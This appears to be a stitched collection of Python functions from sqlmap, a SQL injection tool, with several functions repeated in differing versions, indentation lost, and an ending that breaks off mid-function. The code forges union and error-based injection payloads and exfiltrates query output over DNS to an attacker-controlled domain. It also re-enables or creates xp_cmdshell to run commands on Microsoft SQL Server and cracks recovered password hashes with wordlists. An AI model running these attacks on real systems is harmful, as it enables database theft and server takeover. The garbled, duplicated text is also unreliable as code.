def getRemoteTempPath(self):
if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL):
_ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False))
if _:
conf.tmpPath = ntpath.dirname(_)
if not conf.tmpPath:
if Backend.isOs(OS.WINDOWS):
if conf.direct:
conf.tmpPath = "%TEMP%"
else:
self.checkDbmsOs(detailed=True)
if Backend.getOsVersion() in ("2000", "NT"):
conf.tmpPath = "C:/WINNT/Temp"
elif Backend.isOs("XP"):
conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp"
else:
conf.tmpPath = "C:/Windows/Temp"
else:
conf.tmpPath = "/tmp"
if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I):
Backend.setOs(OS.WINDOWS)
conf.tmpPath = normalizePath(conf.tmpPath)
conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)
return conf.tmpPath
def getRemoteTempPath(self):
if not conf.tmpPath:
if Backend.isOs(OS.WINDOWS):
if conf.direct:
conf.tmpPath = "%TEMP%"
else:
self.checkDbmsOs(detailed=True)
if Backend.getOsVersion() in ("2000", "NT"):
conf.tmpPath = "C:/WINNT/Temp"
elif Backend.isOs("XP"):
conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp"
else:
conf.tmpPath = "C:/Windows/Temp"
else:
conf.tmpPath = "/tmp"
if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I):
Backend.setOs(OS.WINDOWS)
conf.tmpPath = normalizePath(conf.tmpPath)
conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)
return conf.tmpPath
def _goBooleanProxy(expression):
"""
Retrieve the output of a boolean based SQL query
"""
initTechnique(kb.technique)
if conf.dnsDomain:
query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
output = _goDns(payload, expression)
if output is not None:
return output
vector = kb.injection.data[kb.technique].vector
vector = vector.replace("[INFERENCE]", expression)
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
output = hashDBRetrieve(expression, checkConf=True)
if output is None:
output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)
if output is not None:
hashDBWrite(expression, output)
return output
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True) # as union data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
# Prepare expression with delimiters
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else None
# Forge the union SQL injection request
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
# Parse the returned page to get the exact union-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of union injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal)
else:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
return retVal
def xpCmdshellInit(self):
if not kb.xpCmdshellAvailable:
infoMsg = "checking if xp_cmdshell extended procedure is "
infoMsg += "available, please wait.."
logger.info(infoMsg)
result = self.__xpCmdshellCheck()
if result:
logger.info("xp_cmdshell extended procedure is available")
kb.xpCmdshellAvailable = True
else:
message = "xp_cmdshell extended procedure does not seem to "
message += "be available. Do you want sqlmap to try to "
message += "re-enable it? [Y/n] "
choice = readInput(message, default="Y")
if not choice or choice in ("y", "Y"):
self.__xpCmdshellConfigure(1)
if self.__xpCmdshellCheck():
logger.info("xp_cmdshell re-enabled successfully")
kb.xpCmdshellAvailable = True
else:
logger.warn("xp_cmdshell re-enabling failed")
logger.info("creating xp_cmdshell with sp_OACreate")
self.__xpCmdshellConfigure(0)
self.__xpCmdshellCreate()
if self.__xpCmdshellCheck():
logger.info("xp_cmdshell created successfully")
kb.xpCmdshellAvailable = True
else:
warnMsg = "xp_cmdshell creation failed, probably "
warnMsg += "because sp_OACreate is disabled"
logger.warn(warnMsg)
hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable)
if not kb.xpCmdshellAvailable:
errMsg = "unable to proceed without xp_cmdshell"
raise sqlmapUnsupportedFeatureException, errMsg
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
# TEXT can't be used here because in error technique you get:
# "The text, ntext, and image data types cannot be compared or sorted"
self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)")
self.__xpCmdshellTest()
def direct(query, content=True):
select = True
query = agent.payloadDirect(query)
query = agent.adjustLateValues(query)
threadData = getCurrentThreadData()
if Backend.isDbms(DBMS.ORACLE) and query.startswith("SELECT ") and " FROM " not in query:
query = "%s FROM DUAL" % query
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement":
select = False
break
if select and not query.upper().startswith("SELECT "):
query = "SELECT " + query
logger.log(9, query)
output = hashDBRetrieve(query, True, True)
start = time.time()
if not select and "EXEC " not in query:
_ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query):
output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
hashDBWrite(query, output, True)
elif output:
infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20]
logger.info(infoMsg)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
if not output:
return output
elif content:
if output and isListLike(output):
if len(output[0]) == 1:
if len(output) > 1:
output = map(lambda _: _[0], output)
else:
output = output[0][0]
retVal = getUnicode(output, noneToNull=True)
return safecharencode(retVal) if kb.safeCharEncode else retVal
else:
for line in output:
if line[0] in (1, -1):
return True
else:
return False
def direct(query, content=True):
select = True
query = agent.payloadDirect(query)
query = agent.adjustLateValues(query)
threadData = getCurrentThreadData()
if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith("SELECT ") and " FROM " not in query.upper():
query = "%s FROM DUAL" % query
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement":
select = False
break
if select and not query.upper().startswith("SELECT "):
query = "SELECT %s" % query
logger.log(CUSTOM_LOGGING.PAYLOAD, query)
output = hashDBRetrieve(query, True, True)
start = time.time()
if not select and "EXEC " not in query.upper():
timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query):
output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
if state == TIMEOUT_STATE.NORMAL:
hashDBWrite(query, output, True)
elif state == TIMEOUT_STATE.TIMEOUT:
conf.dbmsConnector.close()
conf.dbmsConnector.connect()
elif output:
infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20]
logger.info(infoMsg)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
if not output:
return output
elif content:
if output and isListLike(output):
if len(output[0]) == 1:
output = [_[0] for _ in output]
retVal = getUnicode(output, noneToNull=True)
return safecharencode(retVal) if kb.safeCharEncode else retVal
else:
return extractExpectedValue(output, EXPECTED.BOOL)
def setDbms(dbms):
"""
@param dbms: database management system to be set into the knowledge
base as fingerprint.
@type dbms: C{str}
"""
hashDBWrite(HASHDB_KEYS.DBMS, dbms)
_ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
_ = re.search(r"\A%s( |\Z)" % _, dbms, re.I)
if _:
dbms = _.group(1)
Backend.setDbms(dbms)
logger.info("the back-end DBMS is %s" % Backend.getDbms())
def getRemoteTempPath(self):
if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL):
debugMsg = "identifying Microsoft SQL Server error log directory "
debugMsg += "that sqlmap will use to store temporary files with "
debugMsg += "commands' output"
logger.debug(debugMsg)
_ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False))
if _:
conf.tmpPath = ntpath.dirname(_)
if not conf.tmpPath:
if Backend.isOs(OS.WINDOWS):
if conf.direct:
conf.tmpPath = "%TEMP%"
else:
self.checkDbmsOs(detailed=True)
if Backend.getOsVersion() in ("2000", "NT"):
conf.tmpPath = "C:/WINNT/Temp"
elif Backend.isOs("XP"):
conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp"
else:
conf.tmpPath = "C:/Windows/Temp"
else:
conf.tmpPath = "/tmp"
if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I):
Backend.setOs(OS.WINDOWS)
conf.tmpPath = normalizePath(conf.tmpPath)
conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
debugMsg = "going to use %s as temporary files directory" % conf.tmpPath
logger.debug(debugMsg)
hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)
return conf.tmpPath
def setOs():
"""
Example of kb.bannerFp dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
"""
infoMsg = ""
if not kb.bannerFp:
return
if "type" in kb.bannerFp:
Backend.setOs(Format.humanize(kb.bannerFp["type"]))
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
if "distrib" in kb.bannerFp:
kb.osVersion = Format.humanize(kb.bannerFp["distrib"])
infoMsg += " %s" % kb.osVersion
if "sp" in kb.bannerFp:
kb.osSP = int(Format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", ""))
elif "sp" not in kb.bannerFp and Backend.isOs(OS.WINDOWS):
kb.osSP = 0
if Backend.getOs() and kb.osVersion and kb.osSP:
infoMsg += " Service Pack %d" % kb.osSP
if infoMsg:
logger.info(infoMsg)
hashDBWrite(HASHDB_KEYS.OS, Backend.getOs())
def _goBooleanProxy(expression):
"""
Retrieve the output of a boolean based SQL query
"""
initTechnique(getTechnique())
if conf.dnsDomain:
query = agent.prefixQuery(getTechniqueData().vector)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
output = _goDns(payload, expression)
if output is not None:
return output
vector = getTechniqueData().vector
vector = vector.replace(INFERENCE_MARKER, expression)
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME,
PAYLOAD.TECHNIQUE.STACKED)
output = hashDBRetrieve(expression, checkConf=True)
if output is None:
output = Request.queryPage(payload,
timeBasedCompare=timeBasedCompare,
raise404=False)
if output is not None:
hashDBWrite(expression, output)
return output
def __saveToHashDB():
injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []
injections.extend(_ for _ in kb.injections if _ and _.place is not None and _.parameter is not None)
_ = dict()
for injection in injections:
key = (injection.place, injection.parameter, injection.ptype)
if key not in _:
_[key] = injection
else:
_[key].data.update(injection.data)
hashDBWrite(HASHDB_KEYS.KB_INJECTIONS, _.values(), True)
_ = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or set()
_.update(kb.absFilePaths)
hashDBWrite(HASHDB_KEYS.KB_ABS_FILE_PATHS, _, True)
if not hashDBRetrieve(HASHDB_KEYS.KB_CHARS):
hashDBWrite(HASHDB_KEYS.KB_CHARS, kb.chars, True)
if not hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS):
hashDBWrite(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, kb.dynamicMarkings, True)
def __saveToHashDB():
injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []
injections.extend(_ for _ in kb.injections if _ and _.place is not None and _.parameter is not None)
_ = dict()
for injection in injections:
key = (injection.place, injection.parameter, injection.ptype)
if key not in _:
_[key] = injection
else:
_[key].data.update(injection.data)
hashDBWrite(HASHDB_KEYS.KB_INJECTIONS, _.values(), True)
_ = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or set()
_.update(kb.absFilePaths)
hashDBWrite(HASHDB_KEYS.KB_ABS_FILE_PATHS, _, True)
if not hashDBRetrieve(HASHDB_KEYS.KB_CHARS):
hashDBWrite(HASHDB_KEYS.KB_CHARS, kb.chars, True)
if not hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS):
hashDBWrite(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, kb.dynamicMarkings, True)
def dnsUse(payload, expression):
"""
Retrieve the output of a SQL query taking advantage of the DNS
resolution mechanism by making request back to attacker's machine.
"""
start = time.time()
retVal = None
count = 0
offset = 1
if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
output = hashDBRetrieve(expression, checkConf=True)
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
output = None
if output is None:
kb.dnsMode = True
while True:
count += 1
prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName)
expressionUnescaped = unescaper.escape(expressionRequest)
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
query = agent.prefixQuery("; %s" % expressionUnescaped)
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
forgedPayload = agent.payload(newValue=query)
else:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)
_ = conf.dnsServer.pop(prefix, suffix)
if _:
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = decodeHexValue(_)
output = (output or "") + _
offset += len(_)
if len(_) < chunk_length:
break
else:
break
output = decodeHexValue(output) if conf.hexConvert else output
kb.dnsMode = False
if output is not None:
retVal = output
if kb.dnsTest is not None:
dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
if count > 0:
hashDBWrite(expression, output)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
elif conf.dnsName:
warnMsg = "DNS data exfiltration method through SQL injection "
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
return safecharencode(retVal) if kb.safeCharEncode else retVal
def dictionaryAttack(attack_dict):
suffix_list = [""]
custom_wordlist = [""]
hash_regexes = []
results = []
resumes = []
user_hash = []
processException = False
foundHash = False
for (_, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
regex = hashRecognition(hash_)
if regex and regex not in hash_regexes:
hash_regexes.append(regex)
infoMsg = "using hash method '%s'" % __functions__[
regex].func_name
logger.info(infoMsg)
for hash_regex in hash_regexes:
keys = set()
attack_info = []
for (user, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
foundHash = True
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
if re.match(hash_regex, hash_):
try:
item = None
if hash_regex not in (
HASH.CRYPT_GENERIC, HASH.JOOMLA,
HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT,
HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1,
HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA,
HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5,
HASH.DJANGO_SHA1, HASH.MD5_BASE64,
HASH.SHA1_BASE64, HASH.SHA256_BASE64,
HASH.SHA512_BASE64):
hash_ = hash_.lower()
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64,
HASH.SHA256_BASE64,
HASH.SHA512_BASE64):
item = [(user,
hash_.decode("base64").encode("hex")), {}]
elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD,
HASH.MD5_GENERIC,
HASH.SHA1_GENERIC,
HASH.APACHE_SHA1):
item = [(user, hash_), {}]
elif hash_regex in (HASH.SSHA, ):
item = [(user, hash_), {
"salt": hash_.decode("base64")[20:]
}]
elif hash_regex in (HASH.SSHA256, ):
item = [(user, hash_), {
"salt": hash_.decode("base64")[32:]
}]
elif hash_regex in (HASH.SSHA512, ):
item = [(user, hash_), {
"salt": hash_.decode("base64")[64:]
}]
elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
item = [(user, hash_), {'username': user}]
elif hash_regex in (HASH.ORACLE, ):
item = [(user, hash_), {"salt": hash_[-20:]}]
elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD,
HASH.MSSQL_NEW):
item = [(user, hash_), {"salt": hash_[6:14]}]
elif hash_regex in (HASH.CRYPT_GENERIC, ):
item = [(user, hash_), {"salt": hash_[0:2]}]
elif hash_regex in (HASH.UNIX_MD5_CRYPT,
HASH.APACHE_MD5_CRYPT):
item = [(user, hash_), {
"salt": hash_.split('$')[2],
"magic": "$%s$" % hash_.split('$')[1]
}]
elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN,
HASH.VBULLETIN_OLD):
item = [(user, hash_), {
"salt": hash_.split(':')[-1]
}]
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
item = [(user, hash_), {
"salt": hash_.split('$')[1]
}]
elif hash_regex in (HASH.WORDPRESS, ):
if ITOA64.index(hash_[3]) < 32:
item = [(user, hash_), {
"salt": hash_[4:12],
"count": 1 << ITOA64.index(hash_[3]),
"prefix": hash_[:12]
}]
else:
warnMsg = "invalid hash '%s'" % hash_
logger.warn(warnMsg)
if item and hash_ not in keys:
resumed = hashDBRetrieve(hash_)
if not resumed:
attack_info.append(item)
user_hash.append(item[0])
else:
infoMsg = "resuming password '%s' for hash '%s'" % (
resumed, hash_)
if user and not user.startswith(
DUMMY_USER_PREFIX):
infoMsg += " for user '%s'" % user
logger.info(infoMsg)
resumes.append((user, hash_, resumed))
keys.add(hash_)
except (binascii.Error, IndexError):
pass
if not attack_info:
continue
if not kb.wordlists:
while not kb.wordlists:
# the slowest of all methods hence smaller default dict
if hash_regex in (HASH.ORACLE_OLD, ):
dictPaths = [paths.SMALL_DICT]
else:
dictPaths = [paths.WORDLIST]
message = "what dictionary do you want to use?\n"
message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[
0]
message += "[2] custom dictionary file\n"
message += "[3] file with list of dictionary files"
choice = readInput(message, default='1')
try:
if choice == '2':
message = "what's the custom dictionary's location?\n"
dictPath = readInput(message)
if dictPath:
dictPaths = [dictPath]
logger.info("using custom dictionary")
elif choice == '3':
message = "what's the list file location?\n"
listPath = readInput(message)
checkFile(listPath)
dictPaths = getFileItems(listPath)
logger.info("using custom list of dictionaries")
else:
logger.info("using default dictionary")
dictPaths = filter(None, dictPaths)
for dictPath in dictPaths:
checkFile(dictPath)
if os.path.splitext(dictPath)[1].lower() == ".zip":
_ = zipfile.ZipFile(dictPath, 'r')
if len(_.namelist()) == 0:
errMsg = "no file(s) inside '%s'" % dictPath
raise SqlmapDataException(errMsg)
else:
_.open(_.namelist()[0])
kb.wordlists = dictPaths
except Exception, ex:
warnMsg = "there was a problem while loading dictionaries"
warnMsg += " ('%s')" % getSafeExString(ex)
logger.critical(warnMsg)
message = "do you want to use common password suffixes? (slow!) [y/N] "
if readInput(message, default='N', boolean=True):
suffix_list += COMMON_PASSWORD_SUFFIXES
infoMsg = "starting dictionary-based cracking (%s)" % __functions__[
hash_regex].func_name
logger.info(infoMsg)
for item in attack_info:
((user, _), _) = item
if user and not user.startswith(DUMMY_USER_PREFIX):
custom_wordlist.append(normalizeUnicode(user))
# Algorithms without extra arguments (e.g. salt and/or username)
if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC,
HASH.SHA1_GENERIC, HASH.SHA224_GENERIC,
HASH.SHA256_GENERIC, HASH.SHA384_GENERIC,
HASH.SHA512_GENERIC, HASH.APACHE_SHA1,
HASH.VBULLETIN, HASH.VBULLETIN_OLD):
for suffix in suffix_list:
if not attack_info or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count(
)
singleTimeLogMessage(infoMsg)
gc.disable()
retVal = _multiprocessing.Queue()
count = _multiprocessing.Value(
'i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
process = _multiprocessing.Process(
target=_bruteProcessVariantA,
args=(attack_info, hash_regex, suffix, retVal,
i, count, kb.wordlists, custom_wordlist,
conf.api))
processes.append(process)
for process in processes:
process.daemon = True
process.start()
while count.value > 0:
time.sleep(0.5)
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
retVal = Queue()
_bruteProcessVariantA(attack_info, hash_regex, suffix,
retVal, 0, 1, kb.wordlists,
custom_wordlist, conf.api)
except KeyboardInterrupt:
print
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
attack_info = filter(
lambda _: _[0][0] != user or _[0][1] != hash_,
attack_info)
hashDBWrite(hash_, word)
results.append(item)
conf.hashDB.endTransaction()
clearConsoleLine()
else:
for ((user, hash_), kwargs) in attack_info:
if processException:
break
if any(_[0] == user and _[1] == hash_ for _ in results):
continue
count = 0
found = False
for suffix in suffix_list:
if found or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count(
)
singleTimeLogMessage(infoMsg)
gc.disable()
retVal = _multiprocessing.Queue()
found_ = _multiprocessing.Value('i', False)
count = _multiprocessing.Value(
'i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
process = _multiprocessing.Process(
target=_bruteProcessVariantB,
args=(user, hash_, kwargs, hash_regex,
suffix, retVal, found_, i, count,
kb.wordlists, custom_wordlist,
conf.api))
processes.append(process)
for process in processes:
process.daemon = True
process.start()
while count.value > 0:
time.sleep(0.5)
found = found_.value != 0
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
class Value():
pass
retVal = Queue()
found_ = Value()
found_.value = False
_bruteProcessVariantB(user, hash_, kwargs,
hash_regex, suffix, retVal,
found_, 0, 1, kb.wordlists,
custom_wordlist, conf.api)
found = found_.value
except KeyboardInterrupt:
print
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(
block=False)
hashDBWrite(hash_, word)
results.append(item)
conf.hashDB.endTransaction()
clearConsoleLine()
def getFingerprint(self):
fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
if fork is None:
if inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'"):
fork = FORK.MARIADB
elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"):
fork = FORK.TIDB
else:
fork = ""
hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)
value = ""
wsOsFp = Format.getOs("web server", kb.headersFp)
if wsOsFp and not conf.api:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp and not conf.api:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = Format.getDbms()
if not conf.extensiveFp:
value += actVer
if fork:
value += " (%s fork)" % fork
return value
comVer = self._commentCheck()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if comVer:
comVer = Format.getDbms([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if kb.bannerFp:
banVer = kb.bannerFp.get("dbmsVersion")
if banVer:
if banVer and re.search(r"-log$", kb.data.banner or ""):
banVer += ", logging enabled"
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = Format.getErrorParsedDBMSes()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
if fork:
value += "\n%sfork fingerprint: %s" % (blank, fork)
return value
def _oneShotErrorUse(expression, field=None):
offset = 1
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
dataToStdout(
"[%s] [INFO] resuming partial value: '%s'\r\n" %
(time.strftime("%X"), _formatPartialContent(partialValue)))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
if Backend.isDbms(DBMS.MYSQL):
chunk_length = MYSQL_ERROR_CHUNK_LENGTH
elif Backend.isDbms(DBMS.MSSQL):
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
else:
chunk_length = None
if retVal is None or partialValue:
try:
while True:
check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(
Backend.isDbms(dbms)
for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(
_ in field for _ in ("COUNT", "CASE")
): # skip chunking of scalar expression (unneeded)
extendedField = re.search(
r"[^ ,]*%s[^ ,]*" % re.escape(field),
expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(
field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms(
)].substring.query % (nulledCastedField, offset,
chunk_length)
# Forge the error-based SQL injection request
vector = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField,
1) if field else expression
injExpression = unescaper.unescape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers = Request.queryPage(payload, content=True)
incrementCounter(kb.technique)
# Parse the returned page to get the exact error-based
# SQL injection output
output = reduce(lambda x, y: x if x is not None else y, ( \
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
None)
if output is not None:
output = getUnicode(output)
else:
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
